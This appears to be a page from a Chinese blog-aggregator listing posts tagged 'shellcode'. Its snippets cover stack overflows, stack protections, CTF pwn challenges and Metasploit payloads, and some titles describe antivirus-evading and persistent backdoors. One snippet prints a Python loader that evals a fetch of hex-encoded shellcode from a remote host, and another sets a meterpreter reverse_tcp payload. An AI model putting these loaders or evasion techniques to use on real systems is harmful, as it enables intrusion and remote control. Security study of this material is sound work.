shellcode

security cookie

在微软的c/c++编译器中，增加了对于栈溢出进行检测的参数“/GS”，在调试shellcode的时候，发现vs2005产生的code和vc6产生的code有些不同，才让我注意到这个问题。
free2o·2020-07-15 23:39

如何编写自己的缓冲区溢出利用程序

内容:本文主要讲解有关BufferOverflow的原理,以及结合实战范例介绍Linux和Solaris下的漏洞利用.本文并不介绍如何编写shellcode.要求:读者要有一点C和汇编语言基础.目标:希望本文能够尽量做到通熟易懂
TOMMY201112·2020-07-15 19:24

ShellCode

可以在http://shell-storm.org的shellcode数据库shell-storm.org/shellcode/找到一段符合条件的shellcode利用msfvenom生成特定条件的shellcodehttps
HAPPYers·2020-07-15 14:25

C和C++安全编码笔记：指针诡计

可以通过覆盖函数指针将程序的控制权转移到攻击者提供的外壳代码(shellcode)。当程序通过函数指针执行一个函数调用时，攻击者提供的代码将会取代原本希望执行的代码而得到执行。
fengbingchun·2020-07-15 13:10

Hackproofing mysql

这是一篇很经典的论文，作者ChrisAnley是shellcodehandbook的作者之一。
moonnight·2020-07-14 09:16

利用MSBuild制作msf免杀的后门

今天看到三好学生对MSBuild的利用，它的好处这里已经说完，http://bobao.360.cn/learning/detail/3046.html，说可以有提供一种直接执行shellcode的方法
ZZZJX7·2020-07-14 06:36

[Toddler's Bottle]-asm

这题其实就是叫我们自己用汇编写shellcode，只能用syscall调用open，readm，write函数来读取flag自己在本地写个执行shellcode的demo程序//gccshellcode.c-oshellcode-zexecstack-fno-stack-protector
2mpossible·2020-07-13 12:46

kali的payload的使用攻击之直连型payload的使用

一、msfvenom命令简介msfvenom是payload产生器，也是shellcode代码生成器Payload，中文“有效载荷”，指成功exploit之后，真正在目标系统执行的代码或指令。
红尘卖酒人·2020-07-13 12:15

通过Python实现Payload分离免杀过程详解

缺点：编译成exe以后体积过大实现：msf生成shellcode代码：将payload给copy下来，去除引号。
·2020-07-13 10:23

[原]使用python建立后门

inject.dll；后门构建的一般思路为：重命名（或者移动）A.exe为xxx.exe，然后在backdoor中创建A.exe的进程--记为processA；然后向processA中注入DLL（学艺未精，不会写shellcode
PandaraWen·2020-07-13 09:17

编写自己的缓冲区溢出利用程序

编写自己的缓冲区溢出利用程序内容:本文主要讲解有关BufferOverflow的原理,以及结合实战范例介绍linux和Solaris下的漏洞利用.本文并不介绍如何编写shellcode.要求:读者要有一点
lile269·2020-07-13 07:53

MSF——Meterpreter（三）

Meterpreter是Metasploit提供的一个非常强大的后渗透工具Meterpreter可以看成特殊的Payload，之前我们的Payload都是为了获得目标系统的shell这里的payload就是shellcode
dishan4749253·2020-07-13 04:52

metasploit framework 笔记 | msf5 使用技巧

操作系统类型/漏洞类型/具体漏洞模块名称——指定要使用漏洞利用模块②setSRVHOST攻击源IP③setPAYLOADwindows/meterpreter/reverse_tcp——设置攻击载荷，也就是shellcode
Interstellar____·2020-07-13 00:21

Linux kali虚拟机利用msf框架对win7的永恒之蓝渗透

攻击载荷（payload),是我们期望目标系统在渗透攻击之后去执行的代码shellcode,是在渗透攻击时作为攻击载荷运行的一组机器指令，通常用汇编语言编写模块（Module)，指Metasploit框架中所使用的一段软件代码组件
waitwind1994·2020-07-12 21:57

渗透中POC、EXP、Payload与Shellcode的区别

1.POC、EXP、Payload与ShellcodePOC：全称'ProofofConcept'，中文'概念验证'，常指一段漏洞证明的代码。
浅浅爱默默·2020-07-12 13:02

栈溢出原理与 shellcode 开发

ESP：该指针永远指向系统栈最上面一个栈帧的栈顶EBP：该指针永远指向系统栈最上面一个栈帧的底部01修改函数返回地址#include#include#definePASSWORD"1234567"intverify_password(char*password){intauthenticated;charbuffer[8];authenticated=strcmp(password,PASSWOR
weixin_30902675·2020-07-12 07:27

python生成shellcode加载器

importctypes,cPickle,base64,urllib2classptr(object):def__reduce__(self):return(eval,("urllib2.urlopen('http://192.168.1.100/s2.txt').read().decode('hex')",))#base64classbuf(object):def__init__(self,sh
#Mr.liao·2020-07-12 01:48

metasploit

Metasploit基础专业术语渗透攻击（exploit）攻击载荷（payload）shellcode模块（module）监听器（Listener）Metasploit用户接口MSF终端MSF命令行Metasploit
qq_42902587·2020-07-11 20:01

栈溢出几种保护方式

栈溢出主要是通过覆盖栈内保存的函数返回地址eip，然后在EIP处写入shellcode地址做的。
groundhappy·2020-07-11 06:48

二进制漏洞：从简单栈溢出到写自己编写shellcode

0x00简介本次主要记录缓冲器溢出的：原理、实现和shellcode的编写详细的去理解原理，和底层开始写shellcode本次实验的C代码#include#include#definePASSWORD"
god_zZz·2020-07-11 06:28

栈溢出的几种保护机制

攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉，导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。canary是一
ATFWUS·2020-07-10 20:21

栈溢出 初级教学

一.初探栈溢出1.1在首先在文件夹里面创建一个c的程序StackOF.c内容如下图#include#includeintmain(){puts("SOplzqivemeyourshellcode");charbuffer
Zero_0_0·2020-07-10 17:20

献给markdown初学者！

当下的NT内核提供了ASLR，大大提高了进程被inject后shellcoderun起来的难度；传统NT的ACL模型就不废话了UAC，这货也不扯了EFS和Bitlocker，EFS的易受攻击性已经是被证明的
露华浓·2020-07-10 17:20

smbghost_rce复现（cve-2020-0796）

0x00环境靶机：win101903IP:192.168.0.105攻击机：kaliIP:192.168.0.1040x01msfvenom生成reversedshellcodemsfvenom-ax64
Sn0w33·2020-07-10 05:25

Linux和Windows堆栈溢出利用对比

堆栈溢出的利用，有三大条件，一是返回点的定位，二是ShellCode的编写，三是跳转到ShellCode。
PolluxAvenger·2020-07-10 03:46

记录一次入门pwn题--ret2shellcode

ret2shellcode题目是在jarvisOJ上的题目链接：https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5
Nitwit·2020-07-09 23:00

windows：shellcode 远程线程hook/注入(五)

前面几篇文章介绍了通过APC注入、进程注入、windows窗口处理函数回调、kernercallback回调执行shellcode，今天继续介绍通过heapSpray（翻译成中文叫堆喷射）执行shellcode
第七子007·2020-07-09 22:00

ARM(手机、嵌入式)架构上ShellCode编写入门教程

原文地址：https://azeria-labs.com/writing-arm-shellcode/编写ARM架构shellcode的基本介绍如果你正在阅读这部分教程，请确保对ARM汇编有一个基础的了解
LQMIKU·2020-07-09 11:15

加固 C/C++ 程序

接下来执行的代码就会跳转到攻击者可以进一步使用利用的内存位置，例如请求ROOT权限的shell脚本，（因此常称作“shellcode”)。注意
看雪学院·2020-07-09 03:45

黑客编程之初识ShellCode技术

什么是shellcode:1996年，AlephOne在Underground发表了著名论文《SMASHINGTHESTACKFORFUNANDPROFIT》，其中详细描述了Linux系统中栈的结构和如何利用基于栈的缓冲区溢出
wh53561·2020-07-09 00:36

Shellcode开发辅助工具shellnoob

2019独角兽企业重金招聘Python工程师标准>>>Shellcode开发辅助工具shellnoobShellcode开发的过程中会遇到很多繁杂的工作，如编译、反编译、调试等。
weixin_34390996·2020-07-08 18:48

【安全健行】（4）：揭开shellcode的神秘面纱

2015/5/1816:20:18前面我们介绍了shellcode使用的基本策略，包括基本的shellcode、反向连接的shellcode以及查找套接字的shellcode。
weixin_34352005·2020-07-08 18:30

了解黑客的关键工具---揭开Shellcode的神秘面纱

2019独角兽企业重金招聘Python工程师标准>>>ref:http://zhaisj.blog.51cto.com/219066/61428/了解黑客的关键工具---揭开Shellcode的神秘面纱对于初期接触网络安全的人来说
weixin_33901926·2020-07-08 16:42

了解***的关键工具---揭开Shellcode的神秘面纱

了解***的关键工具---揭开Shellcode的神秘面纱对于初期接触网络安全的人来说，Shellcode是很神秘的东西，对于网络***过程中的嗅探信息、漏洞剖析都是可以理解的，但真正利用漏洞***时，
weixin_33711647·2020-07-08 15:20

如何在内存中执行二进制代码之linux平台

当然，这段代码也有其他用途，故而有了shellcode的昵称，参考百度百科：https://baike.baidu.com/item/she
百里杨·2020-07-08 09:44

一个通俗易懂的ShellCode例子

每当你听到ShellCode一定会想到病毒与安全。其实ShellCode并没有你想想中的那么难，它有一个特点就是把它嵌入到任何进程中都能够运行。是不是感觉很牛逼。
奔跑中的蓝胖子·2020-07-08 09:53

使用C编译器编写shellcode

该类型代码在它诞生之初就被称为shellcode，在软件利用中黑客们以此获取到shell权限。方法就是通过这样或那样的恶意手法使得这段代码得以执行，完成它的使命。
Tody Guo·2020-07-08 07:20

pwnable 题目解析：[Toddler‘s Bottle]-asm 使用 pwntools 生成基本的 shellcode

IthinkIknowhowtomakeshellcode[email protected](pw:guest)源码#include#include#include#include#include
江下枫·2020-07-08 06:01

Metasploit植入meterpreter持久后门

meterpreter的shellcode仅仅驻留在内存当中，那么当靶机重启，意味这我们会失去控制权，因此我们需要继续植入持久型的后门。
nohands_noob·2020-07-08 02:05

shellcode编码

shellcode没有被编码，如果shellcode中存在NULL、函数名也有可能被检测到，所以有必要对shellcode进行编码。首先将shellcode编码#!
浅浅徘徊·2020-07-07 20:56

手把手简易实现shellcode及详解

转载理由：处于安全行业靠边产业，经常听和看到shellcode，但是只有模糊的认识，于是学习一把，毕竟C和汇编了解，开阔下视野；转载于：http://blog.nsfocus.net/simple-realization-hand-handle-shellcode-detailed-explanation
庞叶蒙·2020-07-07 18:23

Shellcode 编码、解码

编码程序：voidmain(){FILE*fp=NULL;fp=fopen("ShellCode.txt","w");if(fp==NULL){system("pause");exit(1);}inta
jackydai987·2020-07-07 11:51

x64 gs寄存器的一点资料

编写shellcode很重要的一步就是搜索kernel32的基址,毕竟我们要获取API的地址x86下总所周知的fs寄存器搜索kernel32基址的办法,在x64下已经失效了.x64下fs的角色已经换成了
cosmoslife·2020-07-07 05:37

使用C语言编写通用shellcode的程序

/*使用C语言编写通用shellcode的程序出处：internet修改：Hume/冷雨飘心测试：Win2KSP4Local*/#include#include#include#defineDEBUG1
TYJJXSJ·2020-07-07 00:41

【原创】LDR链调试手记

LDR链调试手记无论是编写ShellCode还是外壳程序，都需要动态的获取各个api的实际地址，最通用的方法之一，莫过于通过得到各个DLL模块的基址，再遍历其导出表。
OSReact·2020-07-06 23:41

shellcode

构造一段shellcode的作用就是为了在缓冲区溢出时将shellcode的地址覆盖掉正常的返回地址。
MuMuLee_·2020-07-06 23:33

什么是Liunx Shellcode

一、什么是shellcode话说某天某爱国黑客编译了一个Nday溢出利用程序来攻击CNN，输入IP并且enter之后发现目标服务器没有反应，于是拿出sniffer抓包分析…“Oh，myGod!
embeddedfly·2020-07-06 21:06

揭开Shellcode的神秘面纱

对于初期接触网络安全的人来说，Shellcode是很神秘的东西，对于网络攻击过程中的嗅探信息、漏洞剖析都是可以理解的，但真正利用漏洞入侵时，通过把一段二进制码送入后并执行，就可以获得目标机器的控制权，之后的事情是属于爱好者学习技术
CrazyWind·2020-07-06 21:23

初识shellcode

缓冲区溢出的攻击思路已经很清晰了：首次是找到对准EIP的位置，然后覆盖EIP跳到注入的shellcode里执行。
海枫·2020-07-06 17:16

Pwn level题目

找到栈溢出地址（就是搞事情的地址），基本上都是buf的地址，这个地址需要用pwntools中的p32或p64进行转换，（若程序是32位的就用p32）才能pwntools中的sendline发送到远程连接2.构建shellcode
饭饭啊饭饭·2020-07-06 14:24
上一页 9 10 11 12 13 14 15 16 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他